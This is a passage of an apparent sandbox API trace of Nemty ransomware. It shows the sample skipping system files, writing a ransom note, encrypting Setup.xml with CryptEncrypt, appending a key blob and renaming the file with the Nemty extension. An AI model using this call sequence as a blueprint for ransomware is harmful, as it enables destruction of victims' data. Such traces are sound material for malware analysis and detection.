| out: hHeap=0x4f90000) returned 1 [0047.462] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcfe73750, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xcfe73750, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcfe73750, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0047.462] FindClose (in: hFindFile=0x3423930 | out: hFindFile=0x3423930) returned 1 [0047.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0047.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94110 | out: hHeap=0x4f90000) returned 1 [0047.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0047.462] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="{90140000-001B-0409-1000-0000000FF1CE}-C", cAlternateFileName="{94E50~1")) returned 1 [0047.462] lstrcmpiW (lpString1="{90140000-001B-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1 [0047.462] lstrcmpiW (lpString1="{90140000-001B-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1 [0047.462] lstrcmpiW (lpString1="{90140000-001B-0409-1000-0000000FF1CE}-C", lpString2="...") returned 1 [0047.463] lstrcmpiW (lpString1="{90140000-001B-0409-1000-0000000FF1CE}-C", lpString2="windows") returned -1 [0047.463] lstrcmpiW (lpString1="{90140000-001B-0409-1000-0000000FF1CE}-C", lpString2="$RECYCLE.BIN") returned 1 [0047.463] lstrcmpiW (lpString1="{90140000-001B-0409-1000-0000000FF1CE}-C", lpString2="rsa") returned -1 [0047.463] lstrcmpiW (lpString1="{90140000-001B-0409-1000-0000000FF1CE}-C", lpString2="NTDETECT.COM") returned -1 [0047.463] lstrcmpiW (lpString1="{90140000-001B-0409-1000-0000000FF1CE}-C", lpString2="ntldr") returned -1 [0047.463] lstrcmpiW (lpString1="{90140000-001B-0409-1000-0000000FF1CE}-C", lpString2="MSDOS.SYS") returned -1 [0047.463] lstrcmpiW (lpString1="{90140000-001B-0409-1000-0000000FF1CE}-C", lpString2="IO.SYS") returned -1 [0047.463] lstrcmpiW (lpString1="{90140000-001B-0409-1000-0000000FF1CE}-C", lpString2="boot.ini") returned -1 [0047.463] lstrcmpiW (lpString1="{90140000-001B-0409-1000-0000000FF1CE}-C", lpString2="boot.ini") returned -1 [0047.463] lstrcmpiW (lpString1="{90140000-001B-0409-1000-0000000FF1CE}-C", lpString2="AUTOEXEC.BAT") returned -1 [0047.463] lstrcmpiW (lpString1="{90140000-001B-0409-1000-0000000FF1CE}-C", lpString2="ntuser.dat") returned -1 [0047.463] lstrcmpiW (lpString1="{90140000-001B-0409-1000-0000000FF1CE}-C", lpString2="desktop.ini") returned -1 [0047.463] lstrcmpiW (lpString1="{90140000-001B-0409-1000-0000000FF1CE}-C", lpString2="CONFIG.SYS") returned -1 [0047.463] lstrcmpiW (lpString1="{90140000-001B-0409-1000-0000000FF1CE}-C", lpString2="RECYCLER") returned -1 [0047.463] lstrcmpiW (lpString1="{90140000-001B-0409-1000-0000000FF1CE}-C", lpString2="BOOTSECT.BAK") returned -1 [0047.463] lstrcmpiW (lpString1="{90140000-001B-0409-1000-0000000FF1CE}-C", lpString2="bootmgr") returned -1 [0047.463] lstrcmpiW (lpString1="{90140000-001B-0409-1000-0000000FF1CE}-C", lpString2="programdata") returned -1 [0047.463] lstrcmpiW (lpString1="{90140000-001B-0409-1000-0000000FF1CE}-C", lpString2="appdata") returned -1 [0047.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0047.463] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{90140000-001B-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0047.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0047.463] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{90140000-001B-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x6345608, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{90140000-001B-0409-1000-0000000FF1CE}-C", lpUsedDefaultChar=0x0) returned 40 [0047.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0047.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f91590 [0047.463] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{90140000-001B-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0047.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0047.463] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{90140000-001B-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x6345608, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{90140000-001B-0409-1000-0000000FF1CE}-C", lpUsedDefaultChar=0x0) returned 40 [0047.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0047.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0047.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0047.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f91590 [0047.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0047.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94088 [0047.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0047.464] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0047.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.464] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0047.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0047.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94110 [0047.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0047.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f941b8 [0047.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94110 | out: hHeap=0x4f90000) returned 1 [0047.464] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0047.466] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941b8 | out: hHeap=0x4f90000) returned 1 [0047.466] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.466] WriteFile (in: hFile=0x3c4, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0047.467] CloseHandle (hObject=0x3c4) returned 1 [0047.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0047.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0047.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94088 [0047.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94110 [0047.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94198 [0047.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0047.468] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0047.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0047.468] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0047.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0047.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94220 [0047.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f942c8 [0047.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94220 | out: hHeap=0x4f90000) returned 1 [0047.468] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0047.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942c8 | out: hHeap=0x4f90000) returned 1 [0047.469] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.469] WriteFile (in: hFile=0x3c4, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f200, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f200*=0xef8, lpOverlapped=0x0) returned 1 [0047.470] CloseHandle (hObject=0x3c4) returned 1 [0047.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0047.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0047.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f94198 [0047.470] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xcffca3b0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcffca3b0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423930 [0047.470] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0047.470] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xcffca3b0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcffca3b0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0047.470] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0047.470] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0047.470] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0047.471] lstrcmpiW (lpString1="Setup.xml", lpString2=".") returned 1 [0047.471] lstrcmpiW (lpString1="Setup.xml", lpString2="..") returned 1 [0047.471] lstrcmpiW (lpString1="Setup.xml", lpString2="...") returned 1 [0047.471] lstrcmpiW (lpString1="Setup.xml", lpString2="windows") returned -1 [0047.471] lstrcmpiW (lpString1="Setup.xml", lpString2="$RECYCLE.BIN") returned 1 [0047.471] lstrcmpiW (lpString1="Setup.xml", lpString2="rsa") returned 1 [0047.471] lstrcmpiW (lpString1="Setup.xml", lpString2="NTDETECT.COM") returned 1 [0047.471] lstrcmpiW (lpString1="Setup.xml", lpString2="ntldr") returned 1 [0047.471] lstrcmpiW (lpString1="Setup.xml", lpString2="MSDOS.SYS") returned 1 [0047.471] lstrcmpiW (lpString1="Setup.xml", lpString2="IO.SYS") returned 1 [0047.471] lstrcmpiW (lpString1="Setup.xml", lpString2="boot.ini") returned 1 [0047.471] lstrcmpiW (lpString1="Setup.xml", lpString2="boot.ini") returned 1 [0047.471] lstrcmpiW (lpString1="Setup.xml", lpString2="AUTOEXEC.BAT") returned 1 [0047.471] lstrcmpiW (lpString1="Setup.xml", lpString2="ntuser.dat") returned 1 [0047.471] lstrcmpiW (lpString1="Setup.xml", lpString2="desktop.ini") returned 1 [0047.471] lstrcmpiW (lpString1="Setup.xml", lpString2="CONFIG.SYS") returned 1 [0047.471] lstrcmpiW (lpString1="Setup.xml", lpString2="RECYCLER") returned 1 [0047.471] lstrcmpiW (lpString1="Setup.xml", lpString2="BOOTSECT.BAK") returned 1 [0047.471] lstrcmpiW (lpString1="Setup.xml", lpString2="bootmgr") returned 1 [0047.471] lstrcmpiW (lpString1="Setup.xml", lpString2="programdata") returned 1 [0047.471] lstrcmpiW (lpString1="Setup.xml", lpString2="appdata") returned 1 [0047.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0047.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0047.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0047.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0047.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f2a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0047.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.472] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.472] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f2d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0047.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94230 [0047.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0047.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942d8 [0047.472] Sleep (dwMilliseconds=0x5) [0047.484] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd0016670, dwHighDateTime=0x1d561e7)) [0047.484] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd0016670, dwHighDateTime=0x1d561e7)) [0047.484] GetLastError () returned 0xb7 [0047.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0047.484] GetLastError () returned 0xb7 [0047.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0047.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0047.484] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0047.484] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0047.485] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0047.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0047.485] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="+TQh0wQ3FBJOl38/q7dAA1y5SiOCJVZWS8OtElryPJnIxaWmhx7/zYllIqamCQKW\r\nIn3XePESYhu6kzL0SaVbIfc7ySPYbY3ROer13Pu8cE/ig5tzhn0imjPQicsGpvbZ\r\nX/JDtMhVQiPkBouwaG0TJb6AcLVtm3o4BINTEKLhYrzj7QxMkgeoA2YacbzHDmcF\r\nymWBC14BwbMIVKc4z4vTixsk2CCol40qv+Fqy5xx12Bm0x993Fe/MbqK97JoUiNl\r\nLfroXfckCODTAipJFQk1tAh7WfHDr1PAksqOwYCUvXz3yG7VY2foEgn+Sv2hXiPL\r\nk9x5USpyKdweS9Jh14QzNw==\r\n", pcchString=0x653ef9c) returned 1 [0047.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0047.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0047.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0047.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0047.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0047.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0047.485] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0047.485] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=2424) returned 1 [0047.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x970) returned 0x6346d48 [0047.485] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.485] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x970, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x970, lpOverlapped=0x0) returned 1 [0047.487] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.487] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x970, lpOverlapped=0x0) returned 1 [0047.487] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0047.487] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=2424, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x978 [0047.487] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0047.487] CloseHandle (hObject=0x3c8) returned 1 [0047.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94380 [0047.488] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0047.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0047.488] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0047.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.488] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0047.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0047.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0047.488] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0047.488] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.488] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml._nemty_kgobjgd_")) returned 1 [0047.489] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0047.489] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94380 | out: hHeap=0x4f90000) returned 1 [0047.489] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0047.489] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0047.489] HeapFree (in: hHeap=0x4f90000, 